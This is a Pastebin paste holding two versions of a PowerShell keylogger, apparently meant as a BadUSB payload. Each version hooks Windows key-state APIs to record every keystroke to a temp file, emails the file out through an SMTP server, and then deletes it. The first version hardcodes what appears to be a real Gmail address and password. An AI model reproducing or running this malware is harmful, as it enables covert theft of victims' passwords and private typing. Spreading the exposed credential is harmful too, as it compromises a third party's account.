Advertisement
Guest User

Untitled

a guest
Dec 29th, 2018
6,638
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.00 KB | None | 0 0
  1. $TimesToRun = 2
  2. $RunTimeP = 1
  3. $From = "badusbkeylogger@gmail.com"
  4. $Pass = "surs1d3x3"
  5. $To = "badusbkeylogger@gmail.com"
  6. $Subject = "Keylogger Results"
  7. $body = "Keylogger Results"
  8. $SMTPServer = "smtp.gmail.com"
  9. $SMTPPort = "587"
  10. $credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
  11. ############################
  12.  
  13.  
  14. $TimeStart = Get-Date
  15. $TimeEnd = $timeStart.addminutes($RunTimeP)
  16.  
  17. #requires -Version 2
  18. function Start-KeyLogger($Path="$env:temp\keylogger.txt")
  19. {
  20. # Signatures for API Calls
  21. $signatures = @'
  22. [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
  23. public static extern short GetAsyncKeyState(int virtualKeyCode);
  24. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  25. public static extern int GetKeyboardState(byte[] keystate);
  26. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  27. public static extern int MapVirtualKey(uint uCode, int uMapType);
  28. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  29. public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
  30. '@
  31.  
  32. # load signatures and make members available
  33. $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
  34.  
  35. # create output file
  36. $null = New-Item -Path $Path -ItemType File -Force
  37.  
  38. try
  39. {
  40.  
  41. # create endless loop. When user presses CTRL+C, finally-block
  42. # executes and shows the collected key presses
  43. $Runner = 0
  44. while ($TimesToRun -ge $Runner) {
  45. while ($TimeEnd -ge $TimeNow) {
  46. Start-Sleep -Milliseconds 40
  47.  
  48. # scan all ASCII codes above 8
  49. for ($ascii = 9; $ascii -le 254; $ascii++) {
  50. # get current key state
  51. $state = $API::GetAsyncKeyState($ascii)
  52.  
  53. # is key pressed?
  54. if ($state -eq -32767) {
  55. $null = [console]::CapsLock
  56.  
  57. # translate scan code to real code
  58. $virtualKey = $API::MapVirtualKey($ascii, 3)
  59.  
  60. # get keyboard state for virtual keys
  61. $kbstate = New-Object Byte[] 256
  62. $checkkbstate = $API::GetKeyboardState($kbstate)
  63.  
  64. # prepare a StringBuilder to receive input key
  65. $mychar = New-Object -TypeName System.Text.StringBuilder
  66.  
  67. # translate virtual key
  68. $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
  69.  
  70. if ($success)
  71. {
  72. # add key to logger file
  73. [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
  74. }
  75. }
  76. }
  77. $TimeNow = Get-Date
  78. }
  79. send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
  80. Remove-Item -Path $Path -force
  81. }
  82. }
  83. finally
  84. {
  85. # open logger file in Notepad
  86. exit 1
  87. }
  88. }
  89.  
  90. # records all key presses until script is aborted by pressing CTRL+C
  91. # will then open the file with collected key codes
  92. Start-KeyLogger
  93.  
  94. keystrokes.ps1
  95. # Edit only this section!
  96. $TimeToRun = 2
  97. $From = "USER1@mail.com"
  98. $Pass = "Pa$$w0rd"
  99. $To = "USER2@mail.com"
  100. $Subject = "Keylogger Results"
  101. $body = "Keylogger Results"
  102. $SMTPServer = "smtp.mail.com"
  103. $SMTPPort = "587"
  104. $credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
  105. ############################
  106.  
  107.  
  108. $TimeStart = Get-Date
  109. $TimeEnd = $timeStart.addminutes($TimeToRun)
  110.  
  111. #requires -Version 2
  112. function Start-KeyLogger($Path="$env:temp\keylogger.txt")
  113. {
  114. # Signatures for API Calls
  115. $signatures = @'
  116. [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
  117. public static extern short GetAsyncKeyState(int virtualKeyCode);
  118. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  119. public static extern int GetKeyboardState(byte[] keystate);
  120. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  121. public static extern int MapVirtualKey(uint uCode, int uMapType);
  122. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  123. public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
  124. '@
  125.  
  126. # load signatures and make members available
  127. $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
  128.  
  129. # create output file
  130. $null = New-Item -Path $Path -ItemType File -Force
  131.  
  132. try
  133. {
  134.  
  135. # create endless loop. When user presses CTRL+C, finally-block
  136. # executes and shows the collected key presses
  137. while ($TimeEnd -ge $TimeNow) {
  138. Start-Sleep -Milliseconds 40
  139.  
  140. # scan all ASCII codes above 8
  141. for ($ascii = 9; $ascii -le 254; $ascii++) {
  142. # get current key state
  143. $state = $API::GetAsyncKeyState($ascii)
  144.  
  145. # is key pressed?
  146. if ($state -eq -32767) {
  147. $null = [console]::CapsLock
  148.  
  149. # translate scan code to real code
  150. $virtualKey = $API::MapVirtualKey($ascii, 3)
  151.  
  152. # get keyboard state for virtual keys
  153. $kbstate = New-Object Byte[] 256
  154. $checkkbstate = $API::GetKeyboardState($kbstate)
  155.  
  156. # prepare a StringBuilder to receive input key
  157. $mychar = New-Object -TypeName System.Text.StringBuilder
  158.  
  159. # translate virtual key
  160. $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
  161.  
  162. if ($success)
  163. {
  164. # add key to logger file
  165. [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
  166. }
  167. }
  168. }
  169. $TimeNow = Get-Date
  170. }
  171. }
  172. finally
  173. {
  174. # open logger file in Notepad
  175. send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
  176. Remove-Item -Path $Path -force
  177. exit 1
  178. }
  179. }
  180.  
  181. # records all key presses until script is aborted by pressing CTRL+C
  182. # will then open the file with collected key codes
  183. Start-KeyLogger
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement